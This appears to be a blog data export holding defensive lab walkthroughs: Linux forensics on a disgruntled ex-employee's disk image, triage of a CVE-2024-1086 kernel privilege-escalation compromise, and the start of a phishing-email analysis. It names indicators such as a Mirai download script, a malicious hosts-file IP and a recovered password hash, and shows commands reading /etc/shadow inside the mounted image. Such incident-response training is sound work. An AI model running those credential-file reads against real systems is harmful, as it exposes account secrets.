ATT\u0026amp;CK — TA0003 — Persistence: https://attack.mitre.org/tactics/TA0003/\nMicrosoft Learn — Get-NetIPAddress: https://learn.microsoft.com/en-us/powershell/module/nettcpip/get-netipaddress?view=windowsserver2025-ps\nVirusTotal — Sample: https://www.virustotal.com/gui/file/181fe99c16fa6cc87a3161bc08a9e2dbd17531c7d713b09d8567c1b3debe121f\n","date":"2025-07-20T00:00:00Z","image":"/posts/letsdefend-powershell-keylogger-challenge-walkthrough/bfffa48e5aa0d5038ada32a4fe0616db_MD5.png","permalink":"/posts/letsdefend-powershell-keylogger-challenge-walkthrough/","title":"LetsDefend — PowerShell Keylogger Challenge Walkthrough"},{"content":"LetsDefend — Linux Forensics Challenge Walkthrough A Linux DFIR Challenge Using Built-In Logs. Image Credit: https://app.letsdefend.io/challenge/linux-forensics\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive guide to the Linux Forensics challenge from LetsDefend, you\u0026rsquo;re in the right spot. This challenge is a fantastic introduction to digital forensics and incident response (DFIR) on Linux and provides a solid foundational overview of some of the commonly used logs.\nBut first, let\u0026rsquo;s check out the scenario below:\nChallenge Scenario: An ex-employee, who appears to hold a grudge against their former boss, is displaying suspicious behavior. We seek assistance in uncovering their intentions or plans.\nImage file location: /home/analyst/hackerman.7z\nYikes — not good! But we have our orders: investigate the ex-employee\u0026rsquo;s workstation and search for evidence of how the user was planning to retaliate against their boss. Got it.\nTo perform this investigation, we\u0026rsquo;re learning hands-on and doing everything manually. We\u0026rsquo;ll be leveraging tools built into Linux and scouring the available logging to understand the activities of the former employee and figure out what their plans were.\nSounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nQuestion 1: What is the MD5 hash of the image? This challenge gives us two options for accessing the challenge file: either through the LetsDefend virtual machine via your web browser, or by directly downloading the image file. For this walkthrough, I\u0026rsquo;ll be using the LetsDefend virtual machine, which is Linux-based, and a great way to maintain a safe environment for our analysis.\nSo, let\u0026rsquo;s kick off this investigation by launching the virtual machine and navigating to the location of the image file in the /home/analyst directory. Go ahead and extract the hackerman.7z file, which contains the disk image file: hackerman.img.\nLetsDefend VM: Navigating to the location of the challenge file\nTo answer Question 1, we need to determine the MD5 file hash of hackerman.img. We can do that using the following command from the terminal:\nmd5sum hackerman.img\nTerminal: Determining the MD5 hash\n6be42bac99e0fff42ca9467b035859a3\nThis command calculates the MD5 hash value of the file — which is exactly what we need to answer the first question!\nQuestion 2: What is the SHA256 hash of the file in the \u0026quot; # \u0026quot; hackerman\u0026quot; desktop?\nTo start digging into the image file, we need to first mount it so we can explore its contents. We\u0026rsquo;ll use kpartx to mount the image and create a device map, which auto-mounts and appears like an attached drive in the file manager.\nOpen the terminal and run the following command. The -a flag mounts all partitions, and -v gives us verbose output. In this example, I\u0026rsquo;ve launched the terminal from within the /home/analyst folder:\nkpartx -av hackerman.img\nLetsDefend VM: Using kpartx in the terminal and finding the mounted volume\nOnce the partitions are mapped, navigate to the hackerman user\u0026rsquo;s desktop within the mounted volume.\nLetsDefend VM: Identifying the file in the hackerman desktop\nNow that we see the super hackery image, we need to collect the file hash — this time using SHA256 instead of MD5. We can do that with the sha256sum command:\nsha256sum hackerman.jpeg\n3c76e6c36c18ea881e3a681baa51822141c5bdbfef73c8f33c25ce62ea341246\nQuestion 3: What command did the user use to install Google Chrome? Now that we have access to the contents of the disk image, we can start investigating the attacker\u0026rsquo;s actions. One extremely robust and common source of forensic artifacts on Linux is the .bash_history file. This file stores the commands run within the shell or terminal, making it extremely valuable for user behavior context.\nTo view the history within the mounted volume, open a terminal in the /home/hackerman folder and use the cat command to print the contents of the .bash_history file:\ncat .bash_history\nIdentifying the Chrome installation command within the .bash_history\nThe output will display in ascending order, with the oldest commands appearing first. Scanning through the commands run by hackerman, we can see near the bottom that they downloaded the Chrome installer package and installed it using [dpkg](https://manpages.ubuntu.com/manpages/jammy/en/man1/dpkg.1.html):\nsudo dpkg -i google-chrome-stable_current_amd64.deb\nKeep this terminal window handy — we\u0026rsquo;ll reference it several more times throughout our investigation\u0026hellip;\nQuestion 4: When was the Gimp app installed? Answer format: yyyy-mm-dd hh:mm:ss To answer Question 4, we\u0026rsquo;ll search another valuable artifact: the history.log file. This log contains entries from the apt package manager, including installation commands and timestamps.\nYou can access the history.log file from the mounted file system by navigating to:\n/media/root//var/log/apt/history.log\nYou can read this file from the terminal using cat, or open it with a text editor. For illustrative purposes, I\u0026rsquo;ve opened the log in the Mousepad text editor on the VM and used the Find function to search for \u0026quot;gimp\u0026quot;. This takes us directly to the logged line:\nCommandline: apt install gimp\nIdentifying the Gimp installation in history.log\nJust above that line, you\u0026rsquo;ll find the corresponding timestamp we need within the Start-Date field.\nQuestion 5: What is the hidden secret that the attacker believes they have successfully concealed in a secret file? Our next task is to examine the contents of a \u0026ldquo;secret\u0026quot;file. Remember how I mentioned we\u0026rsquo;d need the contents of the .bash_history file again? Let\u0026rsquo;s refer back to the output we explored in Question 3.\nTake a look at the commands for our clue. The attacker, hackerman, first uses the cd ~ command to navigate to their home directory, and then uses the touch command to create the .secrets file, and then nano .secrets to edit it within the Nano text editor. Let\u0026rsquo;s see what\u0026rsquo;s inside!\nIdentifying the .secrets file within the .bash_history\ncat .secrets\nRevealing the contents of the .secrets file\nUsing the cat command, we can display the contents of the \u0026ldquo;secret\u0026quot;file for some insight into the attacker\u0026rsquo;s motives. Nice!\nQuestion 6: What was the UUID of the main root volume? Next stop on our investigation is to determine the Universally Unique Identifier (UUID) of the main root volume. That might sound a bit complicated, but the good news is — we\u0026rsquo;ve already done the hard part.\nA UUID is a unique identifier used to distinguish storage devices and file systems. It\u0026rsquo;s the same mechanism that allowed us to mount the hackerman.img file earlier in the challenge. That image has a UUID, and it\u0026rsquo;s how we\u0026rsquo;re identifying and navigating the file system.\nSo, the UUID for the main root volume is the string of numbers we identified in the device path:\n29153a2e-48a7-4e89-a844-dfa637a5d461\nIdentifying the UUID within the terminal path\nIdentifying the UUID within the files window\nQuestion 7: How many privileged commands did the user run? We\u0026rsquo;re closing in on the halfway point! For the next question, we need to determine the number of privileged commands run by the hackerman user. For this objective, we can leverage another log — auth.log. This file contains the system\u0026rsquo;s authentication events, including commands elevated using [sudo](https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html) or [pkexec](https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html).\nTo start, let\u0026rsquo;s open auth.log and look for patterns involving sudo and pkexec under the hackerman user account. The log can be found at:\n/media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/var/log/auth.log\nAuth.log: Identifying a sample of privileged command execution\nInside auth.log, we can single out a few commands (see the above screenshot) that match what we\u0026rsquo;re looking for. The presence of these events in the logs indicates that hackerman ran the command with elevated privileges:\n[sudo](https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html) is used to execute commands with superuser privileges. [pkexec](https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html) is part of the PolicyKit framework and allows a user to execute a command as another user (root in this case). So, putting this all together and keeping it simple: we can see a pattern in how the username is displayed with each command type — hackerman: for sudo and hackerman : for pkexec. We\u0026rsquo;re going to pull out all of the lines matching this format by running a pattern match with grep for both.\nThis will help us identify all the privileged commands executed by the attacker. To make it even easier, we can add wc -l at the end to get a line count and save ourselves the headache. I\u0026rsquo;ve demonstrated the command with and without it below:\ncat auth.log | grep -e \u0026ldquo;hackerman:\u0026rdquo; - \u0026ldquo;hackerman :\u0026rdquo; | wc -l\nUsing grep to identify all privileged commands in auth.log\nQuestion 8: What is the last thing the user searches for in the installed browser? Remember back in Question 3 when we learned that hackerman installed Google Chrome? It\u0026rsquo;s reasonable to assume that this browser was also used during the attack, so let\u0026rsquo;s check out the browser cache artifacts located at:\n/home/hackerman/.config/google-chrome/Default/\nFrom here, we\u0026rsquo;ll focus on analyzing the History database, which holds logs of the searches performed in Chrome.\nLetsDefend VM: The location of the Chrome History database\nBut how do we open it? Here\u0026rsquo;s a little problem — the History file is a SQLite database, and the LetsDefend environment doesn\u0026rsquo;t have internet access and doesn\u0026rsquo;t have a SQLite database browser built in either.\nMaybe we can try a simple hack: use cat to open the database in the terminal and look for any readable strings. Only one way to find out if it works! Open the terminal in the directory and run the command below:\ncat History\nIdentifying a search string within the Chrome History database\nWell, it isn\u0026rsquo;t pretty — but if you scroll through the output, you can make out the last string searched at the bottom of the log. Pay close attention to the spelling of downlowad (sic) in the string.\nQuestion 9: From Q8 we know that the user tried to write a script, what is the script name that the user wrote? It looks like hackerman is still learning his tradecraft, and our next task is to identify the malicious script they wrote. Fortunately, we\u0026rsquo;ve already stumbled on a clue back in Question 3\u0026hellip;\nMaybe it stuck out to you when we were reviewing the .bash_history file, but take another look—do you notice the second logged command? A shell script (.sh) file was created using the touch command:\nsuperhackingscript.sh\nIdentifying superhackingscript.sh within the .bash_history\nLet\u0026rsquo;s jump down to the next question to determine the contents of this script — and whether it\u0026rsquo;s a super-hacking script, indeed!\nQuestion 10: What is the URL that the user uses to download the malware? To locate the script\u0026rsquo;s directory, we can open the terminal and use the find command to search for the file by name:\nfind /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/ -name \u0026ldquo;superhackingscript.sh\u0026rdquo;\nBingo! We can see it\u0026rsquo;s located in the /tmp directory. Now all we need to do is cat the file to check out its contents:\ncat /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/tmp/superhackingscript.sh\nIdentifying the malicious URL within superhackingscript.sh\nWith a conveniently placed comment line, we can see the URL hosting the supermalware — er, malware.\nQuestion 11: What is the name of the malware that the user tried to download? Conveniently, we also have a destination variable declared within superhackingscript.sh. This is the path where the curl command writes the downloaded file—but it doesn\u0026rsquo;t look quite like a typical file name, does it? It looks more like a file hash, similar to what we identified back in Questions 1 and 2:\nIdentifying the malicious file hash within superhackingscript.sh\ned6baf485cde6e94caa8326b91d323dbc53af58e954520ee55fed80b044c1985\nLet\u0026rsquo;s check if this is a known file hash by pivoting out to the online malware sharing and analysis platform, VirusTotal. Copy the hash from the script and open your browser, navigating to: https://www.virustotal.com\nOnce there, paste the hash into the search bar and let\u0026rsquo;s see what we find:\nVirusTotal: Identifying the family label for the malware file hash\nRight away, we can see that this sample has been submitted to the platform before, and more than half of the antimalware engines that scanned it flagged it as malicious. But to answer Question 11, we\u0026rsquo;re focused on the \u0026ldquo;Family label\u0026quot;tags. These tags help us identify the malware family, and in this case, the name of the malware is Mirai.\nQuestion 12: What is the IP address associated with the domain that the user pinged? Switching gears, our next task is to determine the IP address associated with the mmox.challenges domain that the user pinged. We have evidence of this domain in the .bash_history file, where the user ran the ping command—but take a closer look at the command executed just before that:\nIdentifying host file and ping activity within the .bash_history\nsudo nano /etc/hosts\nThis tells us that the attacker modified the hosts file, which is used to create manual IP-to-hostname mappings. Since the hosts file is checked before DNS resolution, any manual entry here would override the actual DNS record. If hackerman made a modification, the domain could be mapped to attacker-controlled infrastructure.\nSo, our next stop is to examine the contents of the hosts file. Once again, we can simply cat it to the terminal:\ncat /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/etc/hosts\nAnd there it is: the mmox.challenges domain is mapped to the IP address:\n185[.]199[.]111[.]153\nIdentifying malicious IP association within /etc/hosts\nQuestion 13: What is the password hash of the \u0026quot; # \u0026quot; hackerman\u0026rdquo; user?\nWe\u0026rsquo;ve made it to the last question, and our final task is to retrieve the password hash for the hackerman user account.\nTo do this, we need to access the contents of the /etc/shadow file within the mounted image. The /etc/shadow file is one part of the Linux authentication system and contains, among other properties, the password hashes for all user accounts on the system.\nFor the purposes of our investigation, we can use cat and grep to focus on retrieving the hash for the hackerman user:\ncat /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/etc/shadow | grep \u0026ldquo;hackerman\u0026rdquo;\nAfter running the command, we\u0026rsquo;ll see the line containing the hash displayed.\nIdentifying the user password hash within /etc/shadow\n$y$j9T$71dGsUtM2UGuXod7Z2SME/$NvWYKVfU9fSpnbbQNbTXcxCdGz4skq.CvJUqRxyKGx6\nFor the scope of this investigation, we only need to copy the first part of the line, which contains the algorithm identifier, salt, and the hash itself — everything before the first : symbol.\nNow that we\u0026rsquo;ve retrieved the password hash, let\u0026rsquo;s submit our answer and wrap up this investigation. Great work!\nConclusion: Case closed! Starting with the .bash_history, we were able to identify the actions taken by the employee on the system and uncover clues pointing us to various logs, including: history.log, auth.log, /etc/hosts, and /etc/shadow. Using these logs, we followed the trail to a malicious script used to download malware, identified as Mirai, on VirusTotal. This confirms the former employee was up to no good. It\u0026rsquo;s time to report our findings and close out our Linux Forensics walkthrough.\nA big thank you to LetsDefend for yet another awesome challenge. I chose this one to brush up on my Linux skills. Coming from the Windows world, I\u0026rsquo;m much more familiar with the forensic artifacts available there. While I jump in and out of Linux for other tasks, I realized I\u0026rsquo;d never had the opportunity to explore what kinds of artifacts are available — and I wasn\u0026rsquo;t disappointed! This challenge was a great excuse to spend time digging through logs and researching the Ubuntu man pages to get my hands dirty. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/linux-forensics\nUbuntu Man Pages — KPARTX: https://manpages.ubuntu.com/manpages/jammy/en/man8/kpartx.8.html\nUbuntu Man Pages — DPKG: https://manpages.ubuntu.com/manpages/jammy/en/man1/dpkg.1.html\nUbuntu Man Pages — PKEXEC: https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html\nUbuntu Man Pages — SUDO: https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html\nVirusTotal (Sample): https://www.virustotal.com/gui/file/ed6baf485cde6e94caa8326b91d323dbc53af58e954520ee55fed80b044c1985\n**nixCraft — \u0026quot; # \u0026quot;\nUnderstanding /etc/shadow file format on Linux\u0026rdquo; — Vivek Gite:** https://www.cyberciti.biz/faq/understanding-etcshadow-file/\n","date":"2025-07-13T00:00:00Z","image":"/posts/letsdefend-linux-forensics-challenge-walkthrough/bfffa48e5aa0d5038ada32a4fe0616db_MD5.png","permalink":"/posts/letsdefend-linux-forensics-challenge-walkthrough/","title":"LetsDefend — Linux Forensics Challenge Walkthrough"},{"content":"LetsDefend — Kernel Exploit Challenge Walkthrough A Linux DFIR Challenge Using Unix-Like Artifacts Collector Logs. Image Credit: https://app.letsdefend.io/challenge/kernel-exploit\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive guide for the Kernel Exploit challenge from LetsDefend, you\u0026rsquo;re in the right place. This challenge is a fantastic introduction to digital forensics and incident response (DFIR) on Linux— let\u0026rsquo;s check out the scenario below.\nChallenge Scenario: In the afternoon, network monitoring systems detected anomalous traffic patterns originating from a critical transaction processing server. Initial signs suggest a potential security breach. You have been provided with a forensic image of the affected system and tasked with conducting a thorough investigation to determine the scope of the incident.\nIn this challenge, the stakes are high: we\u0026rsquo;re alerted to a critical transaction processing server that may have been compromised. It\u0026rsquo;s up to us to triage and analyze how the attack occurred, determine if this is a true positive, and figure out what we can do to prevent it from happening again.\nTo run our investigation, we\u0026rsquo;re provided with a forensic image of the affected server. So, what\u0026rsquo;s in our toolkit for this one? Since the image was created using Unix-like Artifacts Collector (UAC), we\u0026rsquo;ll rely on the generated artifacts and analyze them manually using a simple text editor. To enrich our findings with additional threat intelligence, we\u0026rsquo;ll also pivot out to VirusTotal and the National Vulnerability Database for some extra flavor.\nSounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nQuestion 1: What is the name of the key file the intruder downloaded to elevate their privileges after gaining unauthorized access? Let\u0026rsquo;s dive right in by opening the ChallengeFile folder and extracting linuxTriageImage.tar.zip, which contains linuxTriageImage.tar.gz—go ahead and extract that too. This will leave us with the linuxTriageImage directory, which contains all the artifacts we\u0026rsquo;ll analyze during our investigation.\nLetsDefend VM: Overview of challenge artifacts\nThis might look overwhelming at first, but one file stands out immediately: uac.log. Why is this important? This log indicates that the forensic utility Unix-like Artifacts Collector (UAC) was used to create the forensic image. According to the project\u0026rsquo;s GitHub page:\nUAC (Unix-like Artifacts Collector) is a powerful and extensible incident response tool designed for forensic investigators, security analysts, and IT professionals. It automates the collection of artifacts from a wide range of Unix-like systems, including AIX, ESXi, FreeBSD, Linux, macOS, NetBSD, NetScaler, OpenBSD and Solaris.\nWhether you\u0026rsquo;re handling an intrusion, conducting forensic investigations, or performing compliance checks, UAC simplifies and accelerates data collection while minimizing reliance on external support during critical incidents.\nAwesome! This gives us a starting point. We can reference the UAC documentation to understand where specific artifacts are logged, and then put that knowledge into practice.\nTo answer Question 1, we\u0026rsquo;re looking for a file or exploit downloaded by the attacker that was critical to their attack — specifically, something that enabled privilege escalation. To identify it, we\u0026rsquo;ll leverage the artifact logs collected by UAC.\nNavigate to the hash_executables folder within the challenge directory. Inside, you\u0026rsquo;ll find logs containing detailed information about executable files on the system. Let\u0026rsquo;s get an overview by opening list_of_executable_files.txt.\nLocating the executable file log\nThis log makes it easy to search for executables present on the system. Try searching for something obvious like \u0026quot;exploit\u0026quot; and see if anything interesting turns up.\nIdentifying a suspicious file within the executable files log\nHey, what do you know! We\u0026rsquo;ve found a potentially malicious file. Based on its name and its location in the /tmp directory (a common staging area for the bad guys), it\u0026rsquo;s reasonable to assume this is the exploit the intruder downloaded to elevate their privileges.\nValidating the location of the suspicious file\nQuestion 2: When was the file used for privilege escalation first submitted on Virus Total? Now that we\u0026rsquo;ve identified the malicious file used for privilege escalation, it\u0026rsquo;s time to gather some threat intelligence. One of the best places to start is VirusTotal, where we can check if this file has been seen before and how it\u0026rsquo;s been classified by various antivirus engines.\nBut first, we need the file\u0026rsquo;s hash so we can search for it.\nThere are a couple of ways to obtain the hash:\nFrom the terminal, we can generate the SHA256 hash using the following command: sha256sum exploit\nUsing the terminal to calculate the SHA256 hash of the exploit\nd8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77\nAlternatively, UAC already collected the SHA1 hash during triage. You can find it in the hash_executables.sha1 log inside the hash_executables folder. Identifying the SHA1 hash of the exploit within the hash_executables.sha1 log\nOnce you\u0026rsquo;ve got the hash, head over to VirusTotal and paste it into the search bar. We\u0026rsquo;ll see that this sample has been submitted to the platform before and it\u0026rsquo;s detected as malicious by a majority of the antivirus vendors.\nTo answer Question 2, we need to determine the first submission date of the file. You can find this under the Details tab, in the History section of the VirusTotal report as First Submission. This submission timestamp gives us some rough idea of how long the malware has been circulating.\nVirusTotal: Identifying the first submission time of the sample\nQuestion 3: What is the Process ID (PID) of the operation launched by the attacker? Now that we\u0026rsquo;ve identified the binary as malicious, the next step is to uncover the Process ID (PID) associated with its execution to help us follow the attacker\u0026rsquo;s activity on the system.\nTo do this, we\u0026rsquo;ll leverage the process artifacts collected by UAC. These logs are in the live_response folder, within the running_processes_full_paths.txt log. This file contains detailed information about all processes running on the system at the time of collection, including their full paths, user context, and PIDs.\nOnce you\u0026rsquo;ve opened the log, search for the name of the malicious binary. This will take you directly to the relevant entry (line 369) which shows the PID of the exploit.\nIdentifying the entry for the running malicious process\nHaving this information handy is valuable for our investigation because it helps us to identify further malicious activity by searching for any parent/child processes or correlating the PID with other logs.\nQuestion 4: What username was the malicious process running under? Our next task is to determine which user context the malicious process was running under. For this, we can continue using the running_processes_full_paths.txt log that we referenced in the previous question.\nFocus on the user column in the log entry for the malicious binary. You\u0026rsquo;ll see that the process was running under the account named a1l4m.\nIdentifying the user running the malicious process\nUnderstanding the user context is another valuable datapoint and helps us track privilege escalation. For example, if the attacker initially launched the exploit under a non-privileged user like a1l4m, but later gains root access, we have clear evidence that the exploit was used to elevate privileges as part of the attack chain.\nQuestion 5: What is the Parent Process ID (PPID) associated with the malicious process? The next step in our investigation is to determine the Parent Process ID (PPID) of the malicious process we identified in Question 3. For this, we\u0026rsquo;ll examine the pstree_-p_-n.txt log generated by UAC. This log displays the system\u0026rsquo;s process tree at the time of collection, including parent-child relationships and associated PIDs.\nOnce you\u0026rsquo;ve opened the log, use your text editor\u0026rsquo;s Find function to search for either the name of the binary (exploit) or the PID we found earlier. You\u0026rsquo;ll see a line leading up and to the left of the process—that\u0026rsquo;s the visual representation of its parent relationship in the tree.\nLocating the malicious process in the process tree\nFollow that line upward until you reach the parent: systemd (PID 1686). For context in Linux, systemd is the system and service manager used to manage user sessions and services. Seeing it as the parent process suggests the malicious binary was likely executed as part of a user session or terminal command, rather than being launched by another malicious process.\nIdentifying the parent process of the malicious process\nUnderstanding the parent process is important because it helps us determine how the attacker executed the binary and whether it was user-initiated or part of a larger chain. All this data helps build a narrative of the attack.\nQuestion 6: What are the operating system and its version on the compromised server? We\u0026rsquo;ve spent some time analyzing the malicious privilege escalation exploit — now it\u0026rsquo;s time to collect information about the victim\u0026rsquo;s operating system environment. This can help us understand whether the system was running a version of the OS that may have been vulnerable to a specific privilege escalation exploit.\nThe first place we\u0026rsquo;ll check is the hostnamectl.txt log file located in the live_response/network directory.\nThe logged output of hostnamectl\nWhile this log contains some useful details, the OS version listed doesn\u0026rsquo;t match the required answer format. No problem! Let\u0026rsquo;s pivot to a second log file: uname_-a.txt, found in the live_response/system directory.\nAfter opening this file, we can identify a slightly different version of Ubuntu where the output of uname -a matches the expected answer format for the challenge.\nThe logged output of uname -a\nQuestion 7: What is the kernel version of the compromised system? Answering Question 7 can be accomplished the same way we approached the last question. We can identify the kernel version of the compromised system by checking either the hostnamectl.txt or uname_-a.txt logs.\nThis time, both logs display the same kernel version, so either one will give us the correct answer.\nIdentifying the kernel version in the hostnamectl log\nIdentifying the kernel version in the uname -a log\nQuestion 8: What is the most recent CVE number associated with the vulnerabilities exploited in this attack? We\u0026rsquo;ve made it to the final question — and now it\u0026rsquo;s time to put everything we\u0026rsquo;ve learned into practice by identifying the most recent Common Vulnerabilities and Exposures (CVE) number associated with the exploit.\nTo start, let\u0026rsquo;s head back to the VirusTotal entry for the exploit we analyzed in Question 2. You\u0026rsquo;ll notice two CVE tags listed: CVE-2021-4034 and CVE-2024-1086. Since we\u0026rsquo;re looking for the most recent one, our answer is CVE-2024-1086.\nVirusTotal: Identifying the most recent CVE number\nGreat! We\u0026rsquo;ve found our answer. But let\u0026rsquo;s dig a little deeper by checking out the entry for this CVE in the National Vulnerability Database (NVD). This additional intelligence tells us that we\u0026rsquo;re dealing with a Linux Kernel Use-After-Free vulnerability, exploitable to achieve local privilege escalation. It affects several versions of the Linux kernel:\nFrom (including) 6.2 Up to (excluding) 6.6.15\nNVD _A use-after-free vulnerability in the Linux kernel\u0026rsquo;s netfilter: nf_tables component can be exploited to achieve local\u0026hellip;_nvd.nist.gov\nThis confirms that the kernel version running on the victim\u0026rsquo;s system was outdated and vulnerable. It\u0026rsquo;s a great reminder of the importance of always keeping on top of your patching game.\nNow let\u0026rsquo;s submit our answer and wrap up this investigation!\nConclusion: Mission accomplished! By poring over the logs generated by UAC, we were able to identify and correlate key artifacts and uncover a privilege escalation exploit using CVE-2024€“1086. Now that we\u0026rsquo;ve put our Linux forensics skills into practice and confirmed the malicious activity, it\u0026rsquo;s time to close out this walkthrough of the Kernel Exploit challenge.\nA big thank you to LetsDefend for another awesome challenge! I chose this one to start dipping my toes into the world of Linux forensics. Coming from a Windows background, it\u0026rsquo;s definitely a different skillset with a different set of tools. This challenge was a great blend of learning how to work with the UAC triage utility, exploring Linux artifacts, and leveraging threat intelligence to better understand exploitation and system compromise. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/kernel-exploit\nUAC: https://github.com/tclahr/uac\nUAC Documentation: https://tclahr.github.io/uac-docs/\nVirusTotal: https://www.virustotal.com/\nVirusTotal — Exploit Sample: https://www.virustotal.com/gui/file/d8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77\nMITRE ATT\u0026amp;CK —Privilege Escalation (TA0004): https://attack.mitre.org/tactics/TA0004/\nWikipedia — Systemd: https://en.wikipedia.org/wiki/Systemd#:~:text=systemd%20is%20a%20software%20suite,and%20improvise%20to%20solve%20problems.\nNational Vulnerability Database (NVD): https://nvd.nist.gov/vuln/detail/cve-2024-1086#range-16535572\n","date":"2025-06-29T00:00:00Z","image":"/posts/letsdefend-kernel-exploit-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png","permalink":"/posts/letsdefend-kernel-exploit-challenge-walkthrough/","title":"LetsDefend — Kernel Exploit Challenge Walkthrough"},{"content":"Blue Team Labs Online — The Planet’s Prestige Walkthrough An Email Header and Content Analysis Challenge Using CyberChef \u0026amp; zipdump.py. Image Credit: https://blueteamlabs.online/\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to The Planet’s Prestige challenge from Blue Team Labs Online, you’re in the right place. This challenge will take us on a thrilling intergalactic rescue mission starting with just a single email. Prepare for blast off!\nChallenge Scenario: CoCanDa, a planet known as ‘The Heaven of the Universe’ has been having a bad year. A series of riots have taken place across the planet due to the frequent abduction of citizens, known as CoCanDians, by a mysterious force. CoCanDa’s Planetary President arranged a war-room with the best brains and military leaders to work on a solution. After the meeting concluded the President was informed his daughter had disappeared. CoCanDa agents spread across multiple planets were working day and night to locate her. Two days later and there’s no update on the situation, no demand for ransom, not even a single clue regarding the whereabouts of the missing people. On the third day a CoCanDa representative, an Army Major on Earth, received an email.\nIn this challenge, the stakes are high: the daughter of the President of planet CoCanDa has vanished. While agents are scattered across the system searching for her, we’re plugging away in the SOC, keeping systems safe. Suddenly, an Army Major back on Earth receives a suspicious email — could it be a clue? It’s our job to find out.\nFor this investigation, we’ll be leveraging CyberChef, “The Cyber Swiss Army Knife,” to perform the bulk of our analysis. When we need to dig deeper, we’ll call in reinforcements with Didier Stevens’ zipdump.py utility to aid in the investigation. There are many ways to approach this challenge, and this is just one path, but the goal is to give you a working knowledge of CyberChef you can take back with you to planet Earth. Let’s get to it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nSetup the Analysis Environment \u0026amp; Extract the Challenge File: Safety first! When working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range), it’s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I’m using REMnux, a specialized Linux distribution for malware analysis.\nTo keep this write-up focused, I’m going to skip step-by-step setup directions of REMnux, but if you’d like to set up your own environment, please follow the guide provided by REMnux directly. For reference, I used the virtual appliance method:\n[Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- \u0026ndash;d2311959d5f3\u0026mdash; \u0026ndash; \u0026ldquo;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- \u0026ndash;d2311959d5f3\u0026mdash; \u0026ndash;\u0026rdquo;)[](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- \u0026ndash;d2311959d5f3\u0026mdash; \u0026ndash;)\nOnce we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: What is the email service used by the malicious actor? Let’s kick off our investigation by analyzing the email received by the CoCanDa representative. First, extract the ZIP file containing the artifact — A Hope to CoCanDa.eml.\nWe have a few methods we can use to open the .eml file, including a mail client or a simple text editor. But for this challenge, we\u0026rsquo;re going to take a different approach and leverage CyberChef, a multipurpose data manipulation and analysis tool, to perform the full investigation.\nIf you’re using REMnux like me, CyberChef is already built into the environment, but the web-based version works just as well — your choice! To start, open CyberChef and drag the .eml file into the input window. In the output window, we\u0026rsquo;ll be able to analyze the email headers.\nTo answer Question 1, we need to determine the email service that the message originated from. To do this, focus on the “Received” field, which shows all the mail servers the message passed through before delivery — the first one reveals the sender’s mail server as the origin.\nCyberChef: Identifying the originating mail server\nThis is valuable information to determine the source of the email and help uncover any potential spoofing that may be occurring.\nQuestion 2: What is the Reply-To email address? To answer Question 2, we need to identify the “Reply-To” address within the email headers. Bad guys can, and often do, spoof the From address.\nSometimes, a mismatch between the From address and Reply-To can be a good indicator that something is amiss. While the “Reply-To” field can also be spoofed, it often reveals the attacker’s real email address, especially in phishing emails where replies are expected.\nCyberChef: Identifying the Reply-To address\nScroll through the parsed headers and look for the “Reply-To” field. Notice that the email address is different than the From address? This discrepancy might reveal the attacker’s actual inbox.\nQuestion 3: What is the filetype of the received attachment which helped to continue the investigation? Moving right along! To answer Question 3, we need to determine the filetype of the email attachment.\nIn CyberChef, scroll down past the message headers to the section containing the attachment metadata (part of the MIME headers): Content-Type: application/pdf; name=\u0026quot;PuzzleToCoCanDa.pdf\u0026quot;\nSeems pretty straightforward, doesn’t it? But things aren’t always as they seem. While CyberChef displays the declared extension, this information can be spoofed.\nTo determine the true filetype of the attachment, we need to do a little more legwork. Between the header and the end of the email, there’s a large block of Base64-encoded data — this is the attachment itself.\nCyberChef: Identifying the 